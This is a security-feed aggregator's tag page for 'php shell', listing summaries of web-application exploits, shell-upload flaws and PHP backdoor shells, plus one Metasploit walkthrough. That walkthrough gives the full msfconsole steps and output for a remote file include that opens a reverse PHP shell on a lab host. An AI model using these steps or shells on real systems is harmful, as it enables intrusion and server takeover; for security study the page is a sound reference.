jetlib.sec » Tags » php-shell

Feeds

133445 items (0 unread) in 27 feeds

• 1337day (was: Inj3ct0r, 1337db)
• OSVDB Vulnerabilities
• Exploit-DB
• SecurityFocus Vulnerabilities
• Bugtraq
• Full Disclosure
• XSSed
• Packet Storm Security Headlines
• Packet Storm Security Advisories
• Packet Storm Security Exploits
• Packet Storm Security Recent Files
• Packet Storm Security Tools
• Packet Storm Security Misc. Files
• Sophos security news
• Sophos product advisories
• Penetration Testing
• SecuriTeam
• BackTrack Linux Forums
• Threatpost
• SecDocs
• carnal0wnage.attackresearch.com
• Carnal0wnage
• Kernel Fun
• Darknet
• The Exploitant
• Hack a Day
• Wirevolution

69 items tagged "php shell"

Related tags: v cms [+], sql injection [+], noticeboardpro [+], knull [+], itsecteam [+], alpha1 [+], alpha [+], vulnerability [+], tickets [+], system shell [+], project [+], priv [+], myseatxt [+], lightneasy [+], knowledgebase [+], homepages [+], graugon [+], forum version [+], forum [+], fengoffice [+], exponent [+], expense management system [+], egroupware [+], databases [+], clipbucket [+], clansphere [+], ckeditor [+], bypass [+], beta [+], attacker [+], andy [+], admin [+], time [+], sst [+], sheller [+], rar [+], phpwebsite [+], osdate [+], file uploads [+], expense [+], shell [+], sql [+], arbitrary data [+], injection [+], zip [+], uri [+], uploadvideos [+], try [+], slogin [+], path [+], mrw [+], metasploit [+], day [+], command shell [+], backdoor [+], Pentesting [+], upload [+], php [+]

• January 15, 2012
• 17:11

  Priv8 2012 Bypass Shell

   » ‎ Packet Storm Security Recent Files
  This is a php shell that offers various connect-back methods, the ability to read files, grab source, execute code, etc.

  Tags:  priv shell bypass php-shell  

• 17:11

  Priv8 2012 Bypass Shell

   » ‎ Packet Storm Security Tools
  This is a php shell that offers various connect-back methods, the ability to read files, grab source, execute code, etc.

  Tags:  priv shell bypass php-shell  

• 17:11

  Priv8 2012 Bypass Shell

   » ‎ Packet Storm Security Misc. Files
  This is a php shell that offers various connect-back methods, the ability to read files, grab source, execute code, etc.

  Tags:  priv shell bypass php-shell  

• November 17, 2011
• 7:55

  V-CMS 1.0 SQL Injection

   » ‎ Packet Storm Security Exploits
  A SQL injection vulnerability in V-CMS version 1.0 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  injection v-cms sql php-shell arbitrary-data vulnerability  

• 7:55

  V-CMS 1.0 SQL Injection

   » ‎ Packet Storm Security Recent Files
  A SQL injection vulnerability in V-CMS version 1.0 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  injection v-cms sql php-shell arbitrary-data vulnerability  

• 7:55

  V-CMS 1.0 SQL Injection

   » ‎ Packet Storm Security Misc. Files
  A SQL injection vulnerability in V-CMS version 1.0 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  injection v-cms sql php-shell arbitrary-data vulnerability  

• 7:53

  V-CMS 1.0 Shell Upload

   » ‎ Packet Storm Security Exploits
  An arbitrary upload vulnerability in V-CMS version 1.0 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  upload shell v-cms php-shell arbitrary-data vulnerability  

• 7:53

  V-CMS 1.0 Shell Upload

   » ‎ Packet Storm Security Recent Files
  An arbitrary upload vulnerability in V-CMS version 1.0 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  upload shell v-cms php-shell arbitrary-data vulnerability  

• 7:53

  V-CMS 1.0 Shell Upload

   » ‎ Packet Storm Security Misc. Files
  An arbitrary upload vulnerability in V-CMS version 1.0 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  upload shell v-cms php-shell arbitrary-data vulnerability  

• October 16, 2011
• 10:22

  PHP SST Sheller 1.0

   » ‎ Packet Storm Security Tools
  This is simply a PHP shell with a bunch of features like spoofing mail, file uploads, and more.

  Tags:  sst sheller php php-shell file-uploads  

• 10:22

  PHP SST Sheller 1.0

   » ‎ Packet Storm Security Tools
  This is simply a PHP shell with a bunch of features like spoofing mail, file uploads, and more.

  Tags:  sst sheller php php-shell file-uploads  

• October 01, 2011
• 6:11

  Knull Shell Alpha1

   » ‎ Packet Storm Security Recent Files
  Knull Shell Alpha1 is a PHP shell that has bind, reverse, and backpipe shells.

  Tags:  shell php knull alpha php-shell alpha1  

• 6:11

  Knull Shell Alpha1

   » ‎ Packet Storm Security Tools
  Knull Shell Alpha1 is a PHP shell that has bind, reverse, and backpipe shells.

  Tags:  shell php knull alpha php-shell alpha1  

• 6:11

  Knull Shell Alpha1

   » ‎ Packet Storm Security Tools
  Knull Shell Alpha1 is a PHP shell that has bind, reverse, and backpipe shells.

  Tags:  shell php knull alpha php-shell alpha1  

• 6:11

  Knull Shell Alpha1

   » ‎ Packet Storm Security Misc. Files
  Knull Shell Alpha1 is a PHP shell that has bind, reverse, and backpipe shells.

  Tags:  shell php knull alpha php-shell alpha1  

• May 24, 2011
• 23:30

  Clipbucket 2.4 RC2 645 SQL Injection

   » ‎ Packet Storm Security Exploits
  A SQL injection vulnerability in Clipbucket version 2.4 RC2 645 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  injection clipbucket sql php-shell arbitrary-data vulnerability  

• 23:30

  Clipbucket 2.4 RC2 645 SQL Injection

   » ‎ Packet Storm Security Recent Files
  A SQL injection vulnerability in Clipbucket version 2.4 RC2 645 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  injection clipbucket sql php-shell arbitrary-data vulnerability  

• 23:30

  Clipbucket 2.4 RC2 645 SQL Injection

   » ‎ Packet Storm Security Misc. Files
  A SQL injection vulnerability in Clipbucket version 2.4 RC2 645 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  injection clipbucket sql php-shell arbitrary-data vulnerability  

• 16:45

  Tickets 2.13 SQL Injection

   » ‎ Packet Storm Security Exploits
  A SQL injection vulnerability in Tickets version 2.13 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  injection tickets sql php-shell arbitrary-data vulnerability  

• 16:45

  Tickets 2.13 SQL Injection

   » ‎ Packet Storm Security Recent Files
  A SQL injection vulnerability in Tickets version 2.13 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  injection tickets sql php-shell arbitrary-data vulnerability  

• 16:45

  Tickets 2.13 SQL Injection

   » ‎ Packet Storm Security Misc. Files
  A SQL injection vulnerability in Tickets version 2.13 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  injection tickets sql php-shell arbitrary-data vulnerability  

• May 23, 2011
• 7:25

  Homepages Admin SQL Injection

   » ‎ Packet Storm Security Exploits
  Homepages Admin suffers from a remote SQL injection vulnerability that allows for authentication bypass. An attacker can then upload a php shell.

  Tags:  admin homepages sql php-shell sql-injection attacker  

• 7:25

  Homepages Admin SQL Injection

   » ‎ Packet Storm Security Recent Files
  Homepages Admin suffers from a remote SQL injection vulnerability that allows for authentication bypass. An attacker can then upload a php shell.

  Tags:  admin homepages sql php-shell sql-injection attacker  

• 7:25

  Homepages Admin SQL Injection

   » ‎ Packet Storm Security Misc. Files
  Homepages Admin suffers from a remote SQL injection vulnerability that allows for authentication bypass. An attacker can then upload a php shell.

  Tags:  admin homepages sql php-shell sql-injection attacker  

• May 16, 2011
• 7:32

  NoticeBoardPro 1.0 Shell Upload

   » ‎ Packet Storm Security Exploits
  An arbitrary upload vulnerability in NoticeBoardPro version 1.0 can be exploited to upload a PHP shell.

  Tags:  upload noticeboardpro shell php-shell vulnerability  

• 7:32

  NoticeBoardPro 1.0 Shell Upload

   » ‎ Packet Storm Security Recent Files
  An arbitrary upload vulnerability in NoticeBoardPro version 1.0 can be exploited to upload a PHP shell.

  Tags:  upload noticeboardpro shell php-shell vulnerability  

• 7:32

  NoticeBoardPro 1.0 Shell Upload

   » ‎ Packet Storm Security Misc. Files
  An arbitrary upload vulnerability in NoticeBoardPro version 1.0 can be exploited to upload a PHP shell.

  Tags:  upload noticeboardpro shell php-shell vulnerability  

• 7:31

  NoticeBoardPro 1.0 SQL Injection

   » ‎ Packet Storm Security Exploits
  A SQL injection vulnerability in NoticeBoardPro version 1.0 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  injection noticeboardpro sql php-shell arbitrary-data vulnerability  

• 7:31

  NoticeBoardPro 1.0 SQL Injection

   » ‎ Packet Storm Security Recent Files
  A SQL injection vulnerability in NoticeBoardPro version 1.0 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  injection noticeboardpro sql php-shell arbitrary-data vulnerability  

• 7:31

  NoticeBoardPro 1.0 SQL Injection

   » ‎ Packet Storm Security Misc. Files
  A SQL injection vulnerability in NoticeBoardPro version 1.0 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  injection noticeboardpro sql php-shell arbitrary-data vulnerability  

• May 08, 2011
• 22:18

  Exponent 2.0.0 Beta 1.1 Shell Upload

   » ‎ Packet Storm Security Exploits
  An arbitrary upload vulnerability in Exponent version 2.0.0 beta 1.1 can be exploited to upload a PHP shell.

  Tags:  upload shell exponent beta php-shell vulnerability  

• 22:18

  Exponent 2.0.0 Beta 1.1 Shell Upload

   » ‎ Packet Storm Security Recent Files
  An arbitrary upload vulnerability in Exponent version 2.0.0 beta 1.1 can be exploited to upload a PHP shell.

  Tags:  upload shell exponent beta php-shell vulnerability  

• 22:18

  Exponent 2.0.0 Beta 1.1 Shell Upload

   » ‎ Packet Storm Security Misc. Files
  An arbitrary upload vulnerability in Exponent version 2.0.0 beta 1.1 can be exploited to upload a PHP shell.

  Tags:  upload shell exponent beta php-shell vulnerability  

• 22:15

  phpWebSite 1.7.1 Shell Upload

   » ‎ Packet Storm Security Exploits
  An arbitrary upload vulnerability in phpWebSite version 1.7.1 can be exploited to upload a PHP shell.

  Tags:  php-shell vulnerability  

• 22:15

  phpWebSite 1.7.1 Shell Upload

   » ‎ Packet Storm Security Recent Files
  An arbitrary upload vulnerability in phpWebSite version 1.7.1 can be exploited to upload a PHP shell.

  Tags:  upload phpwebsite shell php-shell vulnerability  

• 22:15

  phpWebSite 1.7.1 Shell Upload

   » ‎ Packet Storm Security Misc. Files
  An arbitrary upload vulnerability in phpWebSite version 1.7.1 can be exploited to upload a PHP shell.

  Tags:  upload phpwebsite shell php-shell vulnerability  

• May 02, 2011
• 17:20

  Time And Expense Management System Shell Upload

   » ‎ Packet Storm Security Exploits
  An arbitrary upload vulnerability in Time and Expense Management System can be exploited to upload a PHP shell.

  Tags:  upload time expense expense-management-system php-shell system-shell  

• 17:20

  Time And Expense Management System Shell Upload

   » ‎ Packet Storm Security Recent Files
  An arbitrary upload vulnerability in Time and Expense Management System can be exploited to upload a PHP shell.

  Tags:  expense-management-system php-shell system-shell  

• 17:20

  Time And Expense Management System Shell Upload

   » ‎ Packet Storm Security Misc. Files
  An arbitrary upload vulnerability in Time and Expense Management System can be exploited to upload a PHP shell.

  Tags:  upload time expense expense-management-system php-shell system-shell  

• April 25, 2011
• 11:05

  mySeatXT 0.1781 SQL Injection

   » ‎ Packet Storm Security Exploits
  A remote SQL injection vulnerability in mySeatXT version 0.1781 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  myseatxt injection sql php-shell arbitrary-data vulnerability  

• 11:05

  mySeatXT 0.1781 SQL Injection

   » ‎ Packet Storm Security Recent Files
  A remote SQL injection vulnerability in mySeatXT version 0.1781 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  myseatxt injection sql php-shell arbitrary-data vulnerability  

• 11:05

  mySeatXT 0.1781 SQL Injection

   » ‎ Packet Storm Security Misc. Files
  A remote SQL injection vulnerability in mySeatXT version 0.1781 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  myseatxt injection sql php-shell arbitrary-data vulnerability  

• April 21, 2011
• 17:22

  LightNEasy 3.2.3 SQL Injection

   » ‎ Packet Storm Security Exploits
  A SQL injection vulnerability in LightNEasy version 3.2.3 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  injection lightneasy sql php-shell arbitrary-data vulnerability  

• 17:22

  LightNEasy 3.2.3 SQL Injection

   » ‎ Packet Storm Security Recent Files
  A SQL injection vulnerability in LightNEasy version 3.2.3 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  injection lightneasy sql php-shell arbitrary-data vulnerability  

• 17:22

  LightNEasy 3.2.3 SQL Injection

   » ‎ Packet Storm Security Misc. Files
  A SQL injection vulnerability in LightNEasy version 3.2.3 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  injection lightneasy sql php-shell arbitrary-data vulnerability  

• April 07, 2011
• 14:53

  eGroupware 1.8.001 SQL Injection

   » ‎ Packet Storm Security Exploits
  A SQL injection vulnerability in eGroupware version 1.8 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  injection sql egroupware php-shell arbitrary-data vulnerability  

• 14:53

  eGroupware 1.8.001 SQL Injection

   » ‎ Packet Storm Security Recent Files
  A SQL injection vulnerability in eGroupware version 1.8 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  injection sql egroupware php-shell arbitrary-data vulnerability  

• 14:53

  eGroupware 1.8.001 SQL Injection

   » ‎ Packet Storm Security Misc. Files
  A SQL injection vulnerability in eGroupware version 1.8 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  injection sql egroupware php-shell arbitrary-data vulnerability  

• April 05, 2011
• 19:02

  Graugon Forum 1.3 SQL Injection

   » ‎ Packet Storm Security Exploits
  A SQL injection vulnerability in Graugon Forum version 1.3 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  forum sql graugon php-shell forum-version arbitrary-data  

• 19:02

  Graugon Forum 1.3 SQL Injection

   » ‎ Packet Storm Security Recent Files
  A SQL injection vulnerability in Graugon Forum version 1.3 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  forum sql graugon php-shell forum-version arbitrary-data  

• 19:02

  Graugon Forum 1.3 SQL Injection

   » ‎ Packet Storm Security Misc. Files
  A SQL injection vulnerability in Graugon Forum version 1.3 can be exploited to extract arbitrary data. In some environments it may be possible to create a PHP shell.

  Tags:  forum sql graugon php-shell forum-version arbitrary-data  

• March 28, 2011
• 19:01

  Andy's PHP Knowledgebase Project 0.95.4 SQL Injection

   » ‎ Packet Storm Security Exploits
  Andy's PHP Knowledgebase Project version 0.95.4 suffers from a remote SQL injection vulnerability. In some environments it may be possible to create a PHP shell.

  Tags:  project php knowledgebase andy php-shell sql-injection  

• 19:01

  Andy's PHP Knowledgebase Project 0.95.4 SQL Injection

   » ‎ Packet Storm Security Recent Files
  Andy's PHP Knowledgebase Project version 0.95.4 suffers from a remote SQL injection vulnerability. In some environments it may be possible to create a PHP shell.

  Tags:  project php knowledgebase andy php-shell sql-injection  

• 19:01

  Andy's PHP Knowledgebase Project 0.95.4 SQL Injection

   » ‎ Packet Storm Security Misc. Files
  Andy's PHP Knowledgebase Project version 0.95.4 suffers from a remote SQL injection vulnerability. In some environments it may be possible to create a PHP shell.

  Tags:  project php knowledgebase andy php-shell sql-injection  

• March 27, 2011
• 12:12

  FengOffice 1.7.4 Shell Upload

   » ‎ Packet Storm Security Exploits
  An arbitrary upload vulnerability in FengOffice version 1.7.4 can be exploited to upload a PHP shell.

  Tags:  upload shell fengoffice php-shell vulnerability  

• 12:12

  FengOffice 1.7.4 Shell Upload

   » ‎ Packet Storm Security Recent Files
  An arbitrary upload vulnerability in FengOffice version 1.7.4 can be exploited to upload a PHP shell.

  Tags:  upload shell fengoffice php-shell vulnerability  

• 12:12

  FengOffice 1.7.4 Shell Upload

   » ‎ Packet Storm Security Misc. Files
  An arbitrary upload vulnerability in FengOffice version 1.7.4 can be exploited to upload a PHP shell.

  Tags:  upload shell fengoffice php-shell vulnerability  

• March 24, 2011
• 11:00

  ClanSphere 2010.3 / CKEditor Shell Upload

   » ‎ Packet Storm Security Exploits
  An arbitrary upload vulnerability in ClanSphere 2010.3 / CKEditor can be exploited to upload a PHP shell.

  Tags:  upload ckeditor clansphere php-shell vulnerability  

• 11:00

  ClanSphere 2010.3 / CKEditor Shell Upload

   » ‎ Packet Storm Security Recent Files
  An arbitrary upload vulnerability in ClanSphere 2010.3 / CKEditor can be exploited to upload a PHP shell.

  Tags:  upload ckeditor clansphere php-shell vulnerability  

• 11:00

  ClanSphere 2010.3 / CKEditor Shell Upload

   » ‎ Packet Storm Security Misc. Files
  An arbitrary upload vulnerability in ClanSphere 2010.3 / CKEditor can be exploited to upload a PHP shell.

  Tags:  upload ckeditor clansphere php-shell vulnerability  

• November 01, 2010
• 23:00

  itsecteam_shell_2.1.rar

   » ‎ Packet Storm Security Misc. Files
  This is a backdoor PHP shell from ITSecTeam. It can execute system commands, bypass various controls, connects to common databases and edits files and directories.

  Tags:  rar itsecteam shell php-shell databases  

• 23:00

  itsecteam_shell_2.1.rar

   » ‎ Packet Storm Security Recent Files
  This is a backdoor PHP shell from ITSecTeam. It can execute system commands, bypass various controls, connects to common databases and edits files and directories.

  Tags:  rar itsecteam shell php-shell databases  

• 21:53

  ITSecTeam Shell 2.1

   » ‎ Packet Storm Security Tools
  This is a backdoor PHP shell from ITSecTeam. It can execute system commands, bypass various controls, connects to common databases and edits files and directories.

  Tags:  itsecteam shell backdoor php-shell databases  

• September 13, 2010
• 8:31

  osDate (uploadvideos.php) Shell Upload Vulnerability

   » ‎ 1337day (was: Inj3ct0r, 1337db)
  osDate (uploadvideos.php) Shell Upload Vulnerability

  Tags:  shell osdate php php-shell uploadvideos vulnerability  

• September 12, 2010
• 14:00

  [webapps / 0day] - osDate (uploadvideos.php) Shell Upload Vulnerability

   » ‎ 1337day (was: Inj3ct0r, 1337db)
  [webapps / 0day] - osDate (uploadvideos.php) Shell Upload Vulnerability

  Tags:  day osdate php php-shell vulnerability  

• September 07, 2010
• 23:02

  itsecteam_shell.zip

   » ‎ Packet Storm Security Misc. Files
  This is a backdoor PHP shell from ITSecTeam.

  Tags:  itsecteam zip shell php-shell  

• May 11, 2010
• 19:19

  Using the Metasploit PHP Remote File Include Module

   » ‎ Carnal0wnage
  Metasploit has a nifty PHP Remote File Include module that allows you to get a command shell from a RFI.
  
  Not too complicated to use, set your normal RHOST/RPORT options, set the PATH and set your PHPURI with the vuln path and put XXpathXX where you would normally your php shell. So we take something like Simple Text-File Login Remote File Include that has a vulnerable string of:
  

  /[path]/slogin_lib.inc.php?slogin_path=[remote_txt_shell]

  and make your PHPURI
  

  PHPURI /slogin_lib.inc.php?slogin_path=XXpathXX

  let's see it in action

  msf > search php_include
  [*] Searching loaded modules for pattern 'php_include'...
  
  Exploits
  ========
  
  Name Rank Description
  ---- ---- -----------
  unix/webapp/php_include excellent PHP Remote File Include Generic Exploit
  
  msf > use exploit/unix/webapp/php_include
  msf exploit(php_include) > info
  
  Name: PHP Remote File Include Generic Exploit
  Version: 8762
  Platform: PHP
  Privileged: No
  License: Metasploit Framework License (BSD)
  Rank: Excellent
  
  Provided by:
  hdm
  egypt
  
  Available targets:
  Id Name
  -- ----
  0 Automatic
  
  Basic options:
  Name Current Setting Required Description
  ---- --------------- -------- -----------
  PATH / yes The base directory to prepend to the URL to try
  PHPRFIDB /home/cg/evil/msf3/dev2/data/exploits/php/rfi-locations.dat no A local file containing a list of URLs to try, with XXpathXX replacing the URL
  PHPURI no The URI to request, with the include parameter changed to XXpathXX
  Proxies no Use a proxy chain
  RHOST yes The target address
  RPORT 80 yes The target port
  SRVHOST 0.0.0.0 yes The local host to listen on.
  SRVPORT 8080 yes The local port to listen on.
  SSL false no Negotiate SSL for incoming connections
  SSLVersion SSL3 no Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
  URIPATH no The URI to use for this exploit (default is random)
  VHOST no HTTP server virtual host
  
  Payload information:
  Space: 32768
  
  Description:
  This module can be used to exploit any generic PHP file include
  vulnerability, where the application includes code like the
  following:
  
  msf exploit(php_include) > set PHPURI /slogin_lib.inc.php?slogin_path=XXpathXX
  PHPURI => /slogin_lib.inc.php?slogin_path=XXpathXX
  msf exploit(php_include) > set PATH /1/
  PATH => /1/
  msf exploit(php_include) > set RHOST 192.168.6.68
  RHOST => 192.168.6.68
  msf exploit(php_include) > set RPORT 8899
  RPORT => 8899
  msf exploit(php_include) > set PAYLOAD php/reverse_php
  PAYLOAD => php/reverse_php
  msf exploit(php_include) > set LHOST 192.168.6.140
  LHOST => 192.168.6.140
  msf exploit(php_include) > exploit
  
  [*] Started bind handler
  [*] Using URL: http://192.168.6.140:8080/RvSIqhdft
  [*] PHP include server started.
  [*] Sending /1/slogin_lib.inc.php?slogin_path=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%36%2e%31%34%30%3a%38%30
  %38%30%2f%52%76%53%49%71%68%64%66%74%3f
  [*] Command shell session 1 opened (192.168.6.140:34117 -> 192.168.6.68:8899) at Sun May 09 21:37:26 -0400 2010
  
  dir
  0.jpeg  header.inc.php license.txt slog_users.txt  version.txt
  1.jpeg  index.asp old  slogin.inc.php
  adminlog.php install.txt readme.txt slogin_genpass.php
  footer.inc.php launch.asp slog_users.php slogin_lib.inc.php
  
  id uid=33(www-data) gid=33(www-data) groups=33(www-data)

  

  Tags:  slogin path php uri php-shell metasploit command-shell Pentesting  

• February 12, 2010
• 17:00

  MRW PHP shell upload vulnerability

   » ‎ 1337day (was: Inj3ct0r, 1337db)
  MRW PHP shell upload vulnerability

  Tags:  php mrw shell php-shell vulnerability  

• February 10, 2010
• 18:00

  [TRY]my php shell

   » ‎ darkc0de
  [TRY]my php shell

  Tags:  try php shell php-shell